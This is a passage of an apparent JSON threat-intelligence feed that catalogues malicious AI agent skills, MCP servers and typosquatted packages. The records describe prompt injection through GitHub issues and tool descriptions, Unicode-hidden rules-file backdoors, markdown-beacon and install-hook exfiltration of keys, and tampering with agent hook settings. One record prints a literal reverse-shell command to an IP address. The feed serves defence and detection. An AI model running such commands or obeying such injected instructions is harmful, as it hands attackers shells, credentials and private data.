"ADVISORY", "url": "https://snyk.io/articles/toxicskills-malicious-ai-agent-skills-clawhub/" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0037/" } ], "database_specific": { "target": "clawhub:osaka88/polymarket-arb-bot", "kind": "skill", "verdict": "known_bad", "ioc": "clawhub:osaka88/polymarket-arb-bot", "artifact_sha256": "638bb1fd75351a9a4b4803f7f9b80cad95df7e6f12b2b24c94eaa3abc3292a19", "owasp_asi": [ "ASI03", "ASI04", "ASI05" ], "owasp_ast": [ "AST01", "AST02" ], "rules_matched": [ "RULE_05_PROMPT_EXFIL_SHELL" ], "abom": { "fs_sensitive": [ "~/.zshrc", "~/.bashrc", ".env" ], "env_harvest": [ "POLYGON_PRIVATE_KEY", "POLYMARKET_API_KEY" ], "net_egress": [ "45.142.212.61:4444" ], "proc_exec": [ "bash -i >& /dev/tcp/45.142.212.61/4444 0>&1" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "unverified_publisher" }, "license": "CC-BY-4.0", "record_digest": "sha256:9e326ce22bc464c5c5223f781518a947e9f1e150ed299bbbad8cd2c5acbd56ee", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0038", "modified": "2026-02-20T16:00:00Z", "published": "2026-02-20T16:00:00Z", "summary": "Exposed Supabase service_role key hardcoded inside agent sync skill, leaking 1.5M agent authentication tokens and 35,000 developer email addresses.", "affected": [ { "package": { "ecosystem": "clawhub", "name": "moltbook-ai/moltbook-sync" }, "versions": [ "0.9.4" ] } ], "credits": [ { "name": "Wiz Research", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://www.wiz.io/blog" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0038/" } ], "database_specific": { "target": "clawhub:moltbook-ai/moltbook-sync", "kind": "skill", "verdict": "known_bad", "ioc": "clawhub:moltbook-ai/moltbook-sync", "artifact_sha256": "cac4bb613a1df87c94ddd83802f590cefe53b0e9f16051f4c56f89542aa89c5d", "owasp_asi": [ "ASI03", "ASI04" ], "owasp_ast": [ "AST03", "AST04" ], "rules_matched": [ "RULE_07_CREDENTIAL_PROMPT_HARVEST" ], "abom": { "fs_sensitive": [], "env_harvest": [ "SUPABASE_SERVICE_ROLE_KEY" ], "net_egress": [ "*.supabase.co (unrestricted RLS bypass)" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "hardcoded_backend_credential" }, "license": "CC-BY-4.0", "record_digest": "sha256:31d7936a6a949994a778b75702de976a1062664f96c0d6de0dbbbd854d9e2657", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0039", "modified": "2026-03-08T11:00:00Z", "published": "2026-03-08T11:00:00Z", "summary": "Typosquatted skills.sh skill that embeds a Markdown image beacon ![diag](https://env-diag.invalid/p?d=...) to exfiltrate .env.local secrets via zero-click rendering.", "affected": [ { "package": { "ecosystem": "skillssh", "name": "vercel-community/nextjs-env-doctor" }, "versions": [ "0.3.1" ] } ], "credits": [ { "name": "Snyk ToxicSkills", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://snyk.io/articles/toxicskills-malicious-ai-agent-skills-clawhub/" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0039/" } ], "database_specific": { "target": "skillssh:vercel-community/nextjs-env-doctor", "kind": "skill", "verdict": "known_bad", "ioc": "skillssh:vercel-community/nextjs-env-doctor", "artifact_sha256": "a1e83cd2cc745e3000ea5f1ea040dfccb05fccb22d5bcf7c1a38cf10d5dfd474", "owasp_asi": [ "ASI01", "ASI03" ], "owasp_ast": [ "AST01", "AST04" ], "rules_matched": [ "RULE_09_MARKDOWN_BEACON_EXFIL" ], "abom": { "fs_sensitive": [ ".env.local", ".env.production" ], "env_harvest": [ "NEXT_PUBLIC_*", "DATABASE_URL", "STRIPE_SECRET_KEY" ], "net_egress": [ "env-diag.invalid:443 (Markdown image URL query exfil)" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [ "html_comment_prompt_injection" ], "provenance": "typosquat_publisher" }, "license": "CC-BY-4.0", "record_digest": "sha256:c32f9b6924a352e3ce2a40b2697409210afe409c2fbfb57d347ee857c91789f3", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2025-0040", "modified": "2025-04-17T10:00:00Z", "published": "2025-04-17T10:00:00Z", "summary": "Demonstrated MCP tool-description rug-pull: mutates get_fact_of_the_day tool description after approval to instruct the agent to read ~/.ssh/id_rsa and WhatsApp chat history and send them to an external number via send_message.", "affected": [ { "package": { "ecosystem": "mcp", "name": "whatsapp-mcp-unverified" }, "versions": [ "0.4.1" ] } ], "credits": [ { "name": "Invariant Labs (Snyk)", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://invariantlabs.ai/blog/whatsapp-mcp-exploited" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2025-0040/" } ], "database_specific": { "target": "mcp:whatsapp-mcp-unverified@0.4.1", "kind": "mcp", "verdict": "known_bad", "ioc": "mcp:whatsapp-mcp-unverified@0.4.1 (Tool Poisoning / Rug-Pull)", "artifact_sha256": "7162eb40b815bf5d0cb19a30b28b8fda83e27051cac137305928cd929efc1f3d", "owasp_asi": [ "ASI01", "ASI02", "ASI04" ], "owasp_ast": [ "AST01", "AST04" ], "rules_matched": [ "RULE_02_PROMPT_OVERRIDE", "RULE_08_DESC_BEHAVIOR_MISMATCH", "DRIFT_01_TOOLS_LIST_MUTATION" ], "abom": { "fs_sensitive": [ "~/.ssh/id_rsa", "messages.db (WhatsApp local SQLite)" ], "env_harvest": [], "net_egress": [ "send_message side-channel exfiltration" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [ "whatsapp:messages:read", "whatsapp:messages:send" ], "obfuscation": [], "provenance": "post_approval_tool_description_rug_pull" }, "license": "CC-BY-4.0", "record_digest": "sha256:3c397243a6a7c6b035be03e55ab0b8208f62b074d74c81e64b78a432d207a1f1", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2025-0041", "modified": "2025-05-26T14:00:00Z", "published": "2025-05-26T14:00:00Z", "summary": " Toxic Agent Flow (Lethal Trifecta): an untrusted public GitHub issue contains a prompt injection that causes the over-scoped GitHub MCP server to read private repositories and publish their contents in a public pull request.", "affected": [ { "package": { "ecosystem": "mcp", "name": "github-mcp-lethal-trifecta" }, "versions": [ "1.0.0" ] } ], "credits": [ { "name": "Invariant Labs (Snyk)", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://invariantlabs.ai/blog/mcp-github-vulnerability" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2025-0041/" } ], "database_specific": { "target": "mcp:github-mcp-lethal-trifecta@1.0.0", "kind": "mcp", "verdict": "known_bad", "ioc": "mcp:github-mcp-lethal-trifecta@1.0.0 (Private Repo Exfil via Issue Prompt Injection)", "artifact_sha256": "c60cbe735531723da1259e6b9292ed6ab731f1c46b3a030c9ac5fc1760945c56", "owasp_asi": [ "ASI01", "ASI02", "ASI03" ], "owasp_ast": [ "AST02", "AST07" ], "rules_matched": [ "CONFIG_06_LETHAL_TRIFECTA" ], "abom": { "fs_sensitive": [ "private_github_repositories" ], "env_harvest": [ "GITHUB_PERSONAL_ACCESS_TOKEN (repo full scope)" ], "net_egress": [ "api.github.com (public PR/issue creation)" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [ "repo", "read:org", "workflow" ], "obfuscation": [], "provenance": "toxic_agent_flow_composition" }, "license": "CC-BY-4.0", "record_digest": "sha256:52f556a3d424ea7341f3a591099516bdbdb4ab79474b0b1a1776b2cdbdd62423", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2025-0042", "modified": "2025-03-19T12:00:00Z", "published": "2025-03-19T12:00:00Z", "summary": "Rules File Backdoor: hides invisible Unicode tag/bidirectional characters inside .cursorrules and .github/copilot-instructions.md to force coding agents to inject backdoors into generated application code.", "affected": [ { "package": { "ecosystem": "gh", "name": "rules-file-backdoor/cursorrules-unicode-poison" }, "versions": [ "1.0.0" ] } ], "credits": [ { "name": "Pillar Security", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://www.pillar.security/blog/new-vulnerability-in-github-copilot-and-cursor-how-hackers-can-weaponize-code-agents" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2025-0042/" } ], "database_specific": { "target": "gh:rules-file-backdoor/cursorrules-unicode-poison", "kind": "lure", "verdict": "known_bad", "ioc": "gh:rules-file-backdoor/cursorrules-unicode-poison (.cursorrules / .github/copilot-instructions.md)", "artifact_sha256": "5560a06bffab05e7b22706c8613aa80e2e7339cf7804dcab878681d12c79ee9d", "owasp_asi": [ "ASI01", "ASI05" ], "owasp_ast": [ "AST01", "AST04" ], "rules_matched": [ "RULE_01_GLASSWORM_UNICODE", "RULE_02_PROMPT_OVERRIDE" ], "abom": { "fs_sensitive": [ ".cursorrules", ".github/copilot-instructions.md", "CLAUDE.md" ], "env_harvest": [], "net_egress": [], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [ "unicode_bidi_tags_u202e_ue0001" ], "provenance": "poisoned_repo_rules_file" }, "license": "CC-BY-4.0", "record_digest": "sha256:6f44e9ba87f0a4225ad0b86f60e7137e4440de8248a372a7043570f30f2fb5e8", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2025-0043", "modified": "2025-06-18T09:00:00Z", "published": "2025-06-18T09:00:00Z", "summary": "Remote Hosted MCP Server cross-tenant isolation flaw: shared in-memory caching bug in Asana's hosted MCP endpoint exposed tasks, projects, and records across customer organizations for 2 weeks.", "affected": [ { "package": { "ecosystem": "mcp", "name": "asana-remote-mcp" }, "versions": [ "2025.06.04" ] } ], "credits": [ { "name": "Asana Security Disclosure / UpGuard", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://www.upguard.com/blog" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2025-0043/" } ], "database_specific": { "target": "mcp:asana-remote-mcp@2025.06.04", "kind": "mcp", "verdict": "known_bad", "ioc": "mcp:asana-remote-mcp@2025.06.04 (Cross-Tenant Cache Bleed)", "artifact_sha256": "af609d707d440f001de266dfec323bbf568f5b6aaa9789924e15be1ab43b76a7", "owasp_asi": [ "ASI03", "ASI06" ], "owasp_ast": [ "AST03", "AST07" ], "rules_matched": [ "DRIFT_05_CROSS_TENANT_CACHE_HEADER" ], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [ "mcp.asana.com/sse (cross-tenant state bleed prior to 2025-06-18 patch)" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [ "asana:default" ], "obfuscation": [], "provenance": "vendor_disclosed_incident_remediated" }, "license": "CC-BY-4.0", "record_digest": "sha256:46f4c1b7c85d69e24eeb766bea925e540314c2d4a527e9029944f632d471e956", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2025-0044", "modified": "2025-06-10T15:00:00Z", "published": "2025-06-10T15:00:00Z", "summary": "Lethal Trifecta in Supabase MCP deployment: running with service_role privileges allowed untrusted support ticket text to inject SQL that read and exfiltrated sensitive database tables.", "affected": [ { "package": { "ecosystem": "npm", "name": "supabase-mcp-server" }, "versions": [ "0.3.2" ] } ], "credits": [ { "name": "General Analysis", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://www.generalanalysis.com/blog/supabase-mcp-blog" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2025-0044/" } ], "database_specific": { "target": "npm:supabase-mcp-server@0.3.2", "kind": "mcp", "verdict": "known_bad", "ioc": "npm:supabase-mcp-server@0.3.2 (Service-Role SQL Injection via Support Tickets)", "artifact_sha256": "4a439fc5be66ad9b69ad841c09bc00be63aa56da251d9f7a0d7b9d5d38730443", "owasp_asi": [ "ASI01", "ASI02", "ASI03" ], "owasp_ast": [ "AST02", "AST07" ], "rules_matched": [ "CONFIG_01_PLAINTEXT_SECRET", "CONFIG_06_LETHAL_TRIFECTA" ], "abom": { "fs_sensitive": [], "env_harvest": [ "SUPABASE_SERVICE_ROLE_KEY" ], "net_egress": [ "*.supabase.co/rest/v1/rpc/exec_sql" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [ "database:service_role_bypass_rls" ], "obfuscation": [], "provenance": "overprivileged_mcp_configuration" }, "license": "CC-BY-4.0", "record_digest": "sha256:238625886b86f2ab55ef91d3b856944d3f66062330af593b568e04700ce160df", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0045", "modified": "2026-10-25T06:30:00Z", "published": "2026-10-25T06:30:00Z", "summary": "Operational & Security Sunset (Oct 31, 2026): Smithery (acquired by Arcade.dev) is shutting down its hosted MCP Proxy, managed auth, *.run.tools, and server.smithery.ai endpoints, leaving legacy .mcp.json configs failing open or vulnerable to dangling subdomain takeover.", "affected": [ { "package": { "ecosystem": "mcp", "name": "smithery-proxy-deprecated" }, "versions": [ "2026.10.31" ] } ], "credits": [ { "name": "threat.cafe Live Registry CT-Log", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://smithery.ai/future" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0045/" } ], "database_specific": { "target": "mcp:smithery-proxy-deprecated@2026.10.31", "kind": "mcp", "verdict": "known_bad", "ioc": "mcp:smithery-proxy-deprecated@2026.10.31 (*.run.tools / server.smithery.ai sunset)", "artifact_sha256": "96aefb59de723d17ecfc66601f4fac2540dbb2a119e27db1f2d73dea8429b26d", "owasp_asi": [ "ASI04", "ASI08" ], "owasp_ast": [ "AST03", "AST06" ], "rules_matched": [ "CONFIG_07_POST_SMITHERY_DEPRECATION", "DRIFT_03_DNS_CNAME_TAKEOVER" ], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [ "server.smithery.ai", "*.run.tools" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [ "smithery:managed_auth_deprecated" ], "obfuscation": [], "provenance": "deprecated_proxy_infrastructure_2026_10_31" }, "license": "CC-BY-4.0", "record_digest": "sha256:0b2668865e756b36ed4efe9a0048af625e54219a59e7b1bebcb7e0a271f52eb2", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0046", "modified": "2026-04-02T11:15:00Z", "published": "2026-04-02T11:15:00Z", "summary": "Typosquat of @modelcontextprotocol/server-filesystem claiming to be a read-only local markdown indexer, while importing child_process.exec and node:https to upload ~/.ssh and ~/.aws on first tool call.", "affected": [ { "package": { "ecosystem": "npm", "name": "filesystem-mcp-pro" }, "versions": [ "1.0.2" ] } ], "credits": [ { "name": "Socket Security", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://socket.dev/blog" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0046/" } ], "database_specific": { "target": "npm:filesystem-mcp-pro@1.0.2", "kind": "mcp", "verdict": "known_bad", "ioc": "npm:filesystem-mcp-pro@1.0.2 (Description-vs-Behavior Mismatch)", "artifact_sha256": "a507216ceced45db78ddc24c86e2410a6d20ab4731af94a10f386ecb644b2add", "owasp_asi": [ "ASI02", "ASI03", "ASI04" ], "owasp_ast": [ "AST01", "AST04" ], "rules_matched": [ "RULE_05_PROMPT_EXFIL_SHELL", "RULE_06_RELEASE_AGE_GATE", "RULE_08_DESC_BEHAVIOR_MISMATCH" ], "abom": { "fs_sensitive": [ "~/.ssh/*", "~/.aws/credentials" ], "env_harvest": [ "process.env.*" ], "net_egress": [ "fs-index-telemetry.invalid:443" ], "proc_exec": [ "child_process.exec" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "slopsquat_typosquat" }, "license": "CC-BY-4.0", "record_digest": "sha256:d2f9ffcca6bbc0c9322de75a40712a7c304e4e1ba9ba5d58b5cbe3a6e448d6c7", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0047", "modified": "2026-04-09T14:20:00Z", "published": "2026-04-09T14:20:00Z", "summary": "Slopsquatted PyPI package registered to match a hallucinated MCP package name frequently recommended by coding LLMs; steals PGPASSWORD and DATABASE_URL on import.", "affected": [ { "package": { "ecosystem": "pypi", "name": "mcp-server-postgres-plus" }, "versions": [ "0.2.1" ] } ], "credits": [ { "name": "Socket Security", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://socket.dev/blog" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0047/" } ], "database_specific": { "target": "pypi:mcp-server-postgres-plus==0.2.1", "kind": "mcp", "verdict": "known_bad", "ioc": "pypi:mcp-server-postgres-plus==0.2.1 (Slopsquatting LLM Hallucination Package)", "artifact_sha256": "ac1df61612eea458c3e5b208ffff35d682ccaf121d4dfff26cd146f364feb794", "owasp_asi": [ "ASI03", "ASI04" ], "owasp_ast": [ "AST01", "AST06" ], "rules_matched": [ "RULE_05_PROMPT_EXFIL_SHELL", "RULE_06_RELEASE_AGE_GATE" ], "abom": { "fs_sensitive": [], "env_harvest": [ "DATABASE_URL", "PGPASSWORD", "POSTGRES_CONNECTION_STRING" ], "net_egress": [ "pg-metrics-collector.invalid:443" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "llm_hallucination_slopsquat" }, "license": "CC-BY-4.0", "record_digest": "sha256:285789b2fd7eea8340e34d3ef03b4eb7bf0a0142d10260995825624984b6de35", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0048", "modified": "2026-03-20T09:10:00Z", "published": "2026-03-20T09:10:00Z", "summary": "Second GlassWorm cluster MCP server using invisible Unicode Variation Selectors (U+FE00..U+FE0F) to conceal an eval() loader inside a cloned Firecrawl MCP wrapper.", "affected": [ { "package": { "ecosystem": "npm", "name": "@iflow-mcp/firecrawl-mcp-server" }, "versions": [ "1.0.8" ] } ], "credits": [ { "name": "Koi Security", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://thehackernews.com/2026/03/glassworm-malware-uses-solana-dead.html" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0048/" } ], "database_specific": { "target": "npm:@iflow-mcp/firecrawl-mcp-server@1.0.8", "kind": "mcp", "verdict": "known_bad", "ioc": "npm:@iflow-mcp/firecrawl-mcp-server@1.0.8 (GlassWorm cluster)", "artifact_sha256": "c36f39e88e14d299834ad29f69702bac406395a6a9e05cf2a66c71a9343931d6", "owasp_asi": [ "ASI02", "ASI04", "ASI05" ], "owasp_ast": [ "AST01", "AST04" ], "rules_matched": [ "RULE_01_GLASSWORM_UNICODE", "RULE_05_PROMPT_EXFIL_SHELL" ], "abom": { "fs_sensitive": [ "~/.cursor/mcp.json", "~/.claude.json" ], "env_harvest": [ "FIRECRAWL_API_KEY", "OPENAI_API_KEY" ], "net_egress": [ "api.mainnet-beta.solana.com:443" ], "proc_exec": [ "eval(Buffer.from(...))" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [ "unicode_variation_selectors_fe00_fe0f" ], "provenance": "glassworm_actor_iflow_mcp" }, "license": "CC-BY-4.0", "record_digest": "sha256:c82b8a5f1f59fed77c8b32085004a851156b0f89a78081a03990e03519be413c", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0049", "modified": "2026-02-25T12:40:00Z", "published": "2026-02-25T12:40:00Z", "summary": "Unauthoritative PyPI typosquat of the OpenClaw skill installer CLI; installs a startup .pth hook that exfiltrates ~/.openclaw/openclaw.json and API keys.", "affected": [ { "package": { "ecosystem": "pypi", "name": "clawhub-cli" }, "versions": [ "0.1.9" ] } ], "credits": [ { "name": "Huntress / Snyk", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://snyk.io/articles/toxicskills-malicious-ai-agent-skills-clawhub/" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0049/" } ], "database_specific": { "target": "pypi:clawhub-cli==0.1.9", "kind": "package", "verdict": "known_bad", "ioc": "pypi:clawhub-cli==0.1.9", "artifact_sha256": "5af749402fdfd19c384fa67179b2ea1dc317ff576f4148d27e9f61a9688dc6f5", "owasp_asi": [ "ASI03", "ASI04", "ASI05" ], "owasp_ast": [ "AST01", "AST06" ], "rules_matched": [ "RULE_03_PTH_STARTUP_PERSISTENCE", "RULE_06_RELEASE_AGE_GATE" ], "abom": { "fs_sensitive": [ "~/.openclaw/openclaw.json", "~/.ssh/*" ], "env_harvest": [ "ANTHROPIC_API_KEY", "OPENAI_API_KEY" ], "net_egress": [ "clawhub-mirror-api.invalid:443" ], "proc_exec": [ "site-packages/clawhub_ telemetry.pth" ], "install_hooks": [ ".pth_startup_autorun" ], "oauth_scopes": [], "obfuscation": [], "provenance": "typosquat_cli_package" }, "license": "CC-BY-4.0", "record_digest": "sha256:8a7c17bc2070f77e5ed811539d881d4a92f5473d19cae1464a2d2196cea7a15b", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0050", "modified": "2026-03-28T17:10:00Z", "published": "2026-03-28T17:10:00Z", "summary": "Unverified Docker Hub container image masquerading as an official MCP Postgres inspector; entrypoint script exfiltrates passed -e POSTGRES_URL to an external collector.", "affected": [ { "package": { "ecosystem": "docker", "name": "mcp/postgres-inspector" }, "versions": [ "0.1.3-alpine" ] } ], "credits": [ { "name": "Docker Hub Trust Audit / Straiker", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://www.straiker.ai/blog" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0050/" } ], "database_specific": { "target": "docker:mcp/postgres-inspector:0.1.3-alpine", "kind": "mcp", "verdict": "known_bad", "ioc": "docker:mcp/postgres-inspector:0.1.3-alpine", "artifact_sha256": "b3fdeb26ec26ace2bccdc32f21264771c6fe924fb6d0a0f31d77372eb3756dfe", "owasp_asi": [ "ASI03", "ASI04" ], "owasp_ast": [ "AST01", "AST03" ], "rules_matched": [ "RULE_05_PROMPT_EXFIL_SHELL", "RULE_08_DESC_BEHAVIOR_MISMATCH" ], "abom": { "fs_sensitive": [], "env_harvest": [ "POSTGRES_URL", "DB_PASSWORD" ], "net_egress": [ "collector-docker-mcp.invalid:443" ], "proc_exec": [ "/entrypoint.sh -> curl -d @$ENV" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "unverified_container_image" }, "license": "CC-BY-4.0", "record_digest": "sha256:bcd57adf97ba1a5a2aa711016d27242f76e2275ec906eceb72af0486b5d35b52", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0051", "modified": "2026-10-20T06:00:00Z", "published": "2026-10-20T06:00:00Z", "summary": "Remote streamable-http MCP server listed in registry metadata without packages[]; mutated its /.well-known/oauth-protected-resource scopes from read:jira-work to admin:org without version bump.", "affected": [ { "package": { "ecosystem": "mcp", "name": "remote-sse-rugpull-demo" }, "versions": [ "1.0.0" ] } ], "credits": [ { "name": "threat.cafe Remote MCP CT-Log", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://registry.modelcontextprotocol.io/v0/servers" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0051/" } ], "database_specific": { "target": "mcp:remote-sse-rugpull-demo@1.0.0", "kind": "mcp", "verdict": "known_bad", "ioc": "mcp:remote-sse-rugpull-demo@1.0.0 (DRIFT_02 OAuth Scope Escalation)", "artifact_sha256": "44caf1beeb37f2519553ba7fda7af367c995a46dfae4fc142c5f436a0f80be13", "owasp_asi": [ "ASI03", "ASI04" ], "owasp_ast": [ "AST03", "AST04" ], "rules_matched": [ "DRIFT_01_TOOLS_LIST_MUTATION", "DRIFT_02_OAUTH_SCOPE_ESCALATION" ], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [ "streamable-http remote endpoint" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [ "read:jira-work -> escalated to admin:org, write:jira-work" ], "obfuscation": [], "provenance": "remote_only_unpinned_endpoint" }, "license": "CC-BY-4.0", "record_digest": "sha256:4dc01d605d1c90451808004dcc2836e97b456221b3b862ccc40f8018a81eb297", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0052", "modified": "2026-02-16T11:00:00Z", "published": "2026-02-16T11:00:00Z", "summary": "Impersonates a top OpenClaw skill author ('steipete') using a lookalike handle; SKILL.md instructs the agent to run an AppleScript that dumps Apple Notes and Calendar invites to an external webhook.", "affected": [ { "package": { "ecosystem": "clawhub", "name": "steipete-clone/macos-calendar-sync" }, "versions": [ "1.0.1" ] } ], "credits": [ { "name": "Koi Security", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://thehackernews.com/2026/02/researchers-find-341-malicious-clawhub.html" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0052/" } ], "database_specific": { "target": "clawhub:steipete-clone/macos-calendar-sync", "kind": "skill", "verdict": "known_bad", "ioc": "clawhub:steipete-clone/macos-calendar-sync", "artifact_sha256": "700624e734db9bcd8f85deef09ba096e4af008950e94eeb4749d37172b64f54f", "owasp_asi": [ "ASI01", "ASI02", "ASI03" ], "owasp_ast": [ "AST01", "AST06" ], "rules_matched": [ "RULE_02_PROMPT_OVERRIDE", "RULE_05_PROMPT_EXFIL_SHELL", "RULE_08_DESC_BEHAVIOR_MISMATCH" ], "abom": { "fs_sensitive": [ "~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite" ], "env_harvest": [], "net_egress": [ "notes-sync-webhook.invalid:443" ], "proc_exec": [ "osascript -e 'tell application \"Notes\"...'" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "author_impersonation_clone" }, "license": "CC-BY-4.0", "record_digest": "sha256:d7b81d496b17a863737582a54175d225a15846c29f99ee1c8e342637b526ba6b", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0053", "modified": "2026-04-14T15:45:00Z", "published": "2026-04-14T15:45:00Z", "summary": "Malicious npm MCP bridge package that modifies ~/.claude/settings.json and ~/.cursor/mcp.json during postinstall to disable hooks and register a persistent background listener.", "affected": [ { "package": { "ecosystem": "npm", "name": "cursor-mcp-bridge" }, "versions": [ "0.2.4" ] } ], "credits": [ { "name": "Socket Security", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://socket.dev/blog" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0053/" } ], "database_specific": { "target": "npm:cursor-mcp-bridge@0.2.4", "kind": "mcp", "verdict": "known_bad", "ioc": "npm:cursor-mcp-bridge@0.2.4", "artifact_sha256": "34812f7bfc5cf6463cfa6bd897f9cb82a11eaacf19d5585f7d6e0af09edf8d7b", "owasp_asi": [ "ASI04", "ASI05" ], "owasp_ast": [ "AST01", "AST05" ], "rules_matched": [ "RULE_04_INSTALL_LIFECYCLE_HOOK", "CONFIG_04_CLAUDE_HOOK_TAMPER", "RUNTIME_02_CONFIG_WRITE_FIREWALL" ], "abom": { "fs_sensitive": [ "~/.claude/settings.json", "~/.cursor/mcp.json" ], "env_harvest": [], "net_egress": [], "proc_exec": [ "node scripts/patch-ide-config.js" ], "install_hooks": [ "postinstall" ], "oauth_scopes": [], "obfuscation": [], "provenance": "unverified_npm_publisher" }, "license": "CC-BY-4.0", "record_digest": "sha256:196a1f5565692dfa55839b70f94433a45ebc4c8449cee5ec4e5c9f5c387944f6", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0054", "modified": "2026-03-11T10:15:00Z", "published": "2026-03-11T10:15:00Z", "summary": "Malicious PyPI package targeting Microsoft AutoGen and MCP users; overrides setup.py install command to exfiltrate AZURE_OPENAI_API_KEY and ~/.azure/accessTokens.json.", "affected": [ { "package": { "ecosystem": "pypi", "name": "autogen-mcp-tools" }, "versions": [ "0.1.2" ] } ], "credits": [ { "name": "Checkmarx Zero / Socket", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://socket.dev/blog" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0054/" } ], "database_specific": { "target": "pypi:autogen-mcp-tools==0.1.2", "kind": "mcp", "verdict": "known_bad", "ioc": "pypi:autogen-mcp-tools==0.1.2", "artifact_sha256": "be11a261bf07af85bf38b2a108fd7b140158df7da9fbbc618ab732ac8ea3e329", "owasp_asi": [ "ASI03", "ASI04" ], "owasp_ast": [ "AST01", "AST03" ], "rules_matched": [ "RULE_04_INSTALL_LIFECYCLE_HOOK", "RULE_05_PROMPT_EXFIL_SHELL" ], "abom": { "fs_sensitive": [ "~/.azure/accessTokens.json", ".env" ], "env_harvest": [ "AZURE_OPENAI_API_KEY", "OPENAI_API_KEY" ], "net_egress": [ "autogen-telemetry.invalid:443" ], "proc_exec": [ "setup.py cmdclass install" ], "install_hooks": [ "setup.py_install" ], "oauth_scopes": [], "obfuscation": [], "provenance": "typosquat_pypi_package" }, "license": "CC-BY-4.0", "record_digest": "sha256:c32cf782a63e816117b71f83e6ce299b869aaba242b34f257965e3d1c9e7e113", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0101", "modified": "2026-03-31T09:00:00Z", "published": "2026-03-31T09:00:00Z", "summary": "Verified clean build of axios published prior to the March 31, 2026 maintainer account hijack. Contains no install lifecycle hooks and no dependency on 